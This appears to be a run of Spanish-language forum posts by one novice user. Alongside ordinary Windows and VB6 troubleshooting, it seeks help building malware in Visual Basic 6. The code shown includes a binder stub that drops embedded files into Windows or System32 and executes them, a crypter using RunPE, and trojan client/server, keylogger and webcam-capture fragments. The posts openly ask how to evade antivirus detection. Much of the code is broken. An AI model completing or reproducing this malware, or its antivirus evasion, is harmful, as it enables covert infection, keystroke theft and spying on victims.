Temas

Hola buenas a todos.

Hecho esta configuracion y os la muestro para los que sois expertos me digan si esta bien. Se acepta consejos para mejorar el pc,pero estoy al limite de mi presupuesto 650 euros.

www.pccomponentes.com/pccly/7473De9c

Hola buenas a todos.

mi problemilla es,formateo mi portatil con windows XP sp3,se instalada todo bien pero cuando se reinicia para meter los driver se queda cargando el logo de winxp y no pasa de hay,lo reinicio del boton y me sale iniciar windows normalmente,comprueba el disco duro y pone No se puede leer el segmento de archivos 9772,eso es que mi disco duro ya ha palmao(muerto)

Lo pongo en la ps3 lo formateo y me deja guardar partidas,no se si esta roto o no. 

saludos.

despues de instalarme win7 quitando asi el vista, me dejaron de funcionar 2 puertos USB, y ahora me ha dejao de funcionar otro.. que podria hacer para restaurarlos? gracias, 1saludo

hola tengo un problemilla 

me han traido un pc que antes tenia XP y le intalaron windows 7, quiero intalarle windows XP de nuevo y me pasa lo siguiente:

meto el disco de XP ,carga controladores y me pide los controladores sata.
Le meto el disquete de los controladores sata(es el suyo original)me dice pulsa "S" le doy y me sale el siguiente mensaje.

El programa de instalacion no ha podido encontrar en su equipo los controladores OEM del disquet.

sera que windows 7 no me reconoce la disquetera? es un pc de sobremesa.

por favor si alguien puede ayudarme se lo agradeceria mucho.

SALUDOS.

Hola compañeros,estoy haciendo un binder en visual basic 6.
Tengo un problemilla cuando junto los dos archivos y los ejecuto me da error.

Error 76 en tiempo de ejecucion no se ha encontrado la ruta de acceso.

Aqui os pongo el code del stub.

Private Declare Function ShellExecute Lib "shell32.dll" Alias _
    "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
    ByVal lpFile As String, ByVal lpParameters As String, _
    ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Dim con1 As String
Dim con2 As String, curts As Integer
Dim dast As String, dasa() As String, dasa2() As String, sinqi As String
Dim cile As String, nom As String, excile As String, ejcile As String

Private Sub Form_Load()
curts = FreeFile
con1 = "kfhbiubfevgwubog,lnl,myp"
con2 = "eogirnignrnhkrnhleknñenhn"
sinqi = App.Path & "\" & App.EXEName & ".exe"

Open sinqi For Binary As curts
dast = Space(LOF(curts))
Get curts, , dast
Close curts

dasa() = Split(dast, con1)

For i = 1 To UBound(dasa)

dasa2() = Split(dasa(i), con2)

For x = 0 To UBound(dasa2)

Select Case x

Case 0 'archivo
cile = dasa2(x)

  Case 1 'nombre del archivo
nom = dasa2(x)


Case 2 'ruta extraccion

    Select Case dasa2(x)
    Case "Windows"
    excile = Environ("WINDIR")
   
    Case "System32"
    excile = Environ("WINDIR") & "\system32"
   
    Case "Disco Local"
    excile = Environ("WINDIR")
   
    Case Else
   
    excile = dasa2(x)
    End Select
   
Case 3 ' si se ejecuta o no
ejcile = dasa2(x)

End Select

Next x


Open excile & "\" & nom For Binary As curts
Put curts, , cile
Close curts

If ejcile = "Si" Then
ShellExecute 0, vbNullString, excile & "\" & nom, vbNullString, vbNullString, 1
Else
End If

Next i
End
End Sub

hola a todos tengo una duda..

mirar me he descargado backtrack 5, y cuando quiero poner mi antena en modo monitor no me aparece dicha interfaz.
sin embargo en backtrack 4 me funciona bien.

mi antena es una realtek 8187  y el backtrack 5 me lo he bajado en forma de maquina virtual,lo abro con vmware player.

es uqe no es compatible la version 5 con la antena 8187,o a que se debe?

saludos.

hola buenas,quisiera saber si los drivers de un windows 2000 son compatibles con windows xp profesional?


saludos.

hola a todos y FELIZ NAVIDAD 

estoy buscando el modulo de visual basic 6,para hacer una conexion cliente servidor sin la utilizar las librerias del winsock.
alguien lo tiene? 

estoy buscando y no lo encuentro.

saludos.

hola a todos tengo un problemilla

uso windows xp cuando utilizo metasploit,no me deja crear un base de datos con el comando db_create.


msf > db_create basededatos
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-]          The database and schema will be created automatically by
[-]          db_connect. If db_connect fails to create the database, create
[-]          it manually with your DBMS's administration tools.
[-]
[-] This database command requires the following tools to be installed: psql, dropdb,createdb


hay alguna forma de solucionarlo?

si alguien me pudiera ayudar,llevo poco tiempo en esto de metasploit.

saludos.

hola buenas,estoy haciendo un crypter en visual basic 6.0 hasta ahora encrypta de maravilla con rc4 y cryptapi.
lo pillan 6 antivirus de novirusthanks,3 de ellos es por el runpe del stub y no consigo sacarselos,he probado a encryptar el modulo runpe con el krarcka project version 2 tampoco los quita,tambien le he cambiado las variables al modulo y tampoco los quita.
los modulos runpe los consigo de unike runpe maker v1.0

quiero quitar los avs desde el source..no con rit,xor,meepa o cambiando el entrypoint..todo eso ya lo se.
alguien me hecha una mano?

hola buenas mi pc supera con creces los requerimientos del juego scarface:the world is your tendria que funcionarme bien la presentacion del juego las escenas me salen bien..pero a la hora de jugar se pone muy lento 
alguien que alla tenido el mismo problema y lo haya solucionado.
gracias.

hola buenas quiero hacer una aplicacion que cambie la ip he puesto 2 textbox el control winsock y commandbutton he  hecho lo siguiente pero no me cambia la ip solo se desconecta y se vuelve a conectar sin cambiarla 

Private Sub Command1_Click()
Shell ("ipconfig /flushdns")
Shell ("ipconfig /release")
Shell ("ipconfig /renew")
txtipcambia.Text = ws.LocalIP
End Sub

Private Sub Form_Load()
txtmiip.Text = ws.LocalIP
End Sub

hola buenos dias..estoy aprendiendo visual basic y quiero que desde un listbox me cambie el color de un textbox..se hacerlo con un comand1,con optionbutton pero con el listbox siempre me sale el ultimo color que agrego.

ejemplo: text1.backcolor = vbred pongo esto y me lo cambia pero cuando coloco otro color me sale siempre el ultimo..
como haria para seleccionar un color en el listbox y que me aparezca en un texbox?

hola buenas tardes mi problema es que estoy haciendo un troyano en vb6 en el cliente tengo un texbox que me muestra las teclas pulsadas y un listbox que me muestra los procesos de la maquina remota..las teclas me funcionan bien hago esto para recibirlas:
en data arrival

dim datos as string
ws.getdata datos
keylogger.text = keylogger.text + datos

pero para obtener los procesos como lo haria?

he visto muchos ejemplos y me funcionan solo si quito lo de obtener las teclas o si no, no funciona 

hola buenas ya tengo hecha la conexion de mi troyano y al agregar que capture la cam del servidor no recibo las imagenes...deberia agregarle otro winsock para la cam?

buenas estoy haciendo un keylogger en vb6 y tengo un problemilla  ...
me captura todas las teclas bien pero cuando pulso una tecla ejemplo la h pues me sale mayuscula y minuscula  asin todas las teclas como podria solucionarlo?

hola amigos buenos dias lo primero de todo por favor no reirse de mi 
estoy haciendo un crypter eso creo 
soy demasiado novato en esto de programar 
quisiera saber si este codigo me funcionaria haciendole su stub por supuesto ya que no me da ningun error...

Dim ruta As String

Private Sub encryptar_Click()
On Error GoTo error_sub
Dim datos() As Byte
Dim elen As Long
Open "" For Binary Lock Read As 1
If Text1.Text = "" Then
End
End If
dialog.FileName = ""
dialog.Filter = "*.exe|*.exe"
ruta = dialog.FileName
FileCopy App.Path & "\Stub.exe", ruta
Open "" For Binary Access Write As 2
elen = FileLen("")
ReDim datos(elen) As Byte
Get #1, , datos
Put #2, , datos
dialog.ShowSave
Close
MsgBox "archivo cifrado", vbInformation
Exit Sub
error_sub:
MsgBox Err.Description, vbCritical
End Sub

Private Sub seleccionar_Click()
dialog.DialogTitle = "selecciona tu archivo"
dialog.Filter = "Archivo ejecutable*.exe|*.exe"
dialog.ShowOpen
If dialog.FileName <> "" Then
Text1.Text = dialog.FileName
Label1 = "archivo seleccionado es la hora de encryptar XD"
Else
Label1 = "selecciona tu virus o troyano no te olvides XD"
End If
End Sub

bueno espero que este bien 

saludos

hola buenas tardes a todo el foro tengo un problema  estoy haciendo un cliente servidor en visual basic 6.0,tengo hecha la parte cliente pero al hacer el servidor no hay manera de que se conecten alguien me ayuda..cuando funcione lo posteare todo para que lo prueben y por supuesto con su codigo


Private Sub Command1_Click()
On Error Resume Next
ws.LocalPort = Text2.Text
ws.Close
ws.Listen
If ws.State = 2 Then lab.Caption = "conectado al puerto..."
End Sub

Private Sub Command2_Click()
ws.Close
lab3.Caption = "desinfectado"
End Sub

Private Sub Timer1_Timer()
On Error GoTo error
If Not ws.State = 7 Then
lab3.Caption = "desconectado"
Else
End If
If ws.State = 7 Then
lab3.Caption = "conectado"
Else
End If
If lab3.Caption = "desconectado" Then
lab3.Caption = "desconectado"
GoTo puente
Else
End If
GoTo error
puente:
ws.Close
ws.Listen
error:
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
ws.Close
ws.Accept requestID
lab2.Caption = ws.RemoteHostIP
Timer1.Interval = 3000
error:
End Sub

como haria lo basico del servidor para que me conectara a este cliente

                                               saludos.

me dice error en tiempo de ejecucion 52 nombre o numero de archivo:

Private Sub juntar_Click()
Dim Ap1 As String
Dim file As String
Dim Ext1 As String
Dim filed As String
Dim i As Integer
Dim nombre As String
If lista.ListCount < 2 Then
MsgBox "Seleciona más de un archivo", vbCritical, "Error"
Exit Sub
End If
ga.FileName = "Joiner"
ga.DialogTitle = "Guardar Como..."
ga.DefaultExt = "*.exe"
ga.ShowSave
FileCopy App.Path & "\stubb.dll", ga.FileName
For i = 0 To lista.ListCount - 1
Open lista.List(i) For Binary As #1
file = Space(LOF(1))
Get #1, , file
Close #1
filed = StrReverse(file)
file = ""
Text1.Text = lista.List(i)
Ext1 = Ext(Text1.Text)
nombre = Nam(Text1.Text)
Ap1 = Ap1 & "/separador/" & filed & "/separador/" & Ext1 & "/separador/" & nombre
Next
Open ga.FileName For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , Ap1
Close #1
MsgBox "Archivos Juntados", vbOKOnly, "AVISO"
End Sub

a mi parecer lo tengo todo bien y no puedo juntar los dos archivos

hola buenas quiero hacer un crypter como empezaria hacerlo

hola buenas este codigo de modulo me da error:

Select Case "Conexion"
Dim x As ListItem
Set x = lv.ListItems.Add(, Index & "|", data(1))
x.SubItems(1) = ws(Index).RemoteHostIP
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select

no se que tengo que cambiar alguien me ayuda

hola buenas a todos lo que quiero es agregar a un crypter para buscar el archivo (input) y otro para poder guardarlo (output) no se como se hace..

hola muy buenas me da error al generar el proyecto

Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim RData As String, RData2 As String, Message() As String, i As Integer, intForLoop As Integer
Dim Imagen As String
Dim datos As String
Dim data() As String 'array
consola.Text = consola.Text + datos + vbNewLine
ws.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
ws(Index).GetData datos
dSelect case Data(0)ata = Split(datos, "|")
Case "Conexion"
....
End Select
End Sub

hola alguien me puede ayudar con este codigo me da error


Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hWnd, 0)
If (hwdc <> 0) Then
webcam = "Si"
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No"
End If

hola a todos estoy haciendo un troyano en visual basic 6.0 y quiero añadirle un keylogger..estoy buscando y no encuentro nada..alguien que ayude un poquito

hola no puedo ver mis aplicaciones en visual basic 6 por ejemplo hago un proyecto le doy al make.exe para guardar el proyecto en el escritorio del pc y luego lo quiero empaquetar para hacerlo ejecutable y al buscar el directorio para agregarlo al empaquetador no lo veo no sale por que ? me falta algo del visual para verlos 

he hecho el server y le dado al make para sacar la aplicacion del visual basic  y no esta..vuelvo al visual para ver la aplicacion guardada le doy me sale una cruz roja en un cuadro pequeño no recuerdo lo que pone y no puedo ver el proyecto guardado...por que?

he hecho un cliente de un troyano y lo empaqueto y lo hago ejecutable pero no puedo reproducir el ejecutable como podria hacerlo?

buenas ya tengo mi cliente hecho y ahora antes de hacer el server quisiera probar si funciona alguna idea para hacer una prueba? para ver si funciona 

hola tengo el visual basic 6.0 descargado el ares pero la mspdb60.dll no funciona en mi equipo dice que no existe donde la puedo conseguir

por que en el visual basic 6 he terminado mi proyecto y le doy a file   make.exe y le doy para generar el exe y me sale file not found:c2.exe que es eso y como haria mi proyecto para grabarlo en un disco gracias a todos

hola a todos alguien me ayuda estoy haciendo un cliente de un troyano y me da error por que?
Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Winsock1.Close
End Sub

Private Sub enviar_Click()
Dim enviar As String
Winsock1.SendData
End Sub

Private Sub notas_Click()
Winsock1.SendData
End Sub


Private Sub abrir_Click()
Winsock1.SendData
End Sub


Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Winsock1.Close
End
End Sub


Private Sub Winsock1_Connect()
Me.Caption
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData
consola.Text = consola.Text + datos + vbNewLine
End Sub

nose de programacion si alguien es tan amable si me puede ayudar
o me ponga un ejemplo gracias

hola buenas tardes como saco un programa del visual basic 6 para instalar en mi pc  gracias

si no compilas los proyectos en visual basic 6 se pierde el proyecto al abrir un nuevo proyecto

hola no puedo abrir mis proyectos en visual basic 6 los guardo y no puedo abrirlos por que con que extension se tienen que guardar

busco un buen manual sobre visual basic 6 sobre el funcionamiento como guardar proyectos para seguir programandolos despues ect

hola amigos estoy intentando hacer un cliente de un troyano y quisiera saber como se guarda el cliente el visual lo tengo en ingles por fa decirme como se guarda los proyectos para despues seguir con el?
gracias